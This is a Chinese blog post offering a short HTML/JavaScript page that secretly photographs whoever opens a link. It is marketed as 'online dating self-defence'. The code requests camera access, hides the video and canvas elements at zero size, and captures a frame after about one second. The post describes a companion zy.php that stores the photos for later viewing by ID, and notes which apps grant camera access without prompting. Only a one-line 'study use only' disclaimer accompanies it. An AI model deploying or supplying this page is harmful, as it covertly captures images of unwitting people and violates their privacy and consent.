如何利用js调用摄像头(几行代码轻松搞定)

小初seo 网站建设评论1,871字数 1269阅读4分13秒阅读模式

你还在为苦苦经营的网恋对象是抠脚大汉而担心吗?
你还在为对方是声甜人垮的乔碧萝而苦恼吗?

一个小功能源码,利用JS调用手机摄像头,当访问网址后就能拍摄照片,前提是客户端给了权限

1、由于系统安全机制,ios系统必须使用自带的Safari浏览器(或者第三方APP调用的是Safari内核)才行

2、安卓端只要该APP有使用相机的权限就可以使用,多数情况下都会提醒用户是否给予相机权限,也有一部分应用不会提醒,自己进行测试

3、电脑端也可以,只要有摄像头,用浏览器打开会弹出使用摄像头的提醒

注:需要https访问

zy.php里面替换为自己域名如图修改

如何利用js调用摄像头(几行代码轻松搞定)

 

访问网址就能远程给你拍照,网恋防身神器

1.本工具仅做学习交流使用,请勿用于非法用途!后果自负!

2.ID是查看照片的凭证,不要泄露给知道这个平台的

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script>
        window.addEventListener("DOMContentLoaded", function() {
            var canvas = document.getElementById('canvas');
            var context = canvas.getContext('2d');
            var video = document.getElementById('video');

            if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
                navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) {
					video.srcObject = stream;
                    video.play();
                    
                    setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000);
                    setTimeout(function(){
                        var img = canvas.toDataURL('image/png');  
                        console.log(img)
                        document.getElementById("img").src=img
                        },1300);
                },function(){alert("操作失败,权限不够!");});
                
            }
		}, false);
    </script>
</head>
<body>
    
    <video id="video" width="0" height="0" autoplay></video>
	<canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas>
    <img src="" alt="" id="img">
</body>
</html>

 

 最后更新:2021-4-27
  • 本文由 小初seo 发表于 2021年4月24日15:53:02
  • 转载请务必保留本文链接:https://www.pkak.cn/web/96.html
匿名

发表评论

匿名网友
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

拖动滑块以完成验证